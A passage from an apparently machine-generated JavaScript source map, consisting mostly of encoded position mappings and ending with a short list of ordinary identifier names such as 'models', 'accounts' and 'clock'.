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",
6
+ "names": ["index", "start", "at", "defaults", "models", "accounts", "clock", "options"]
7
+ }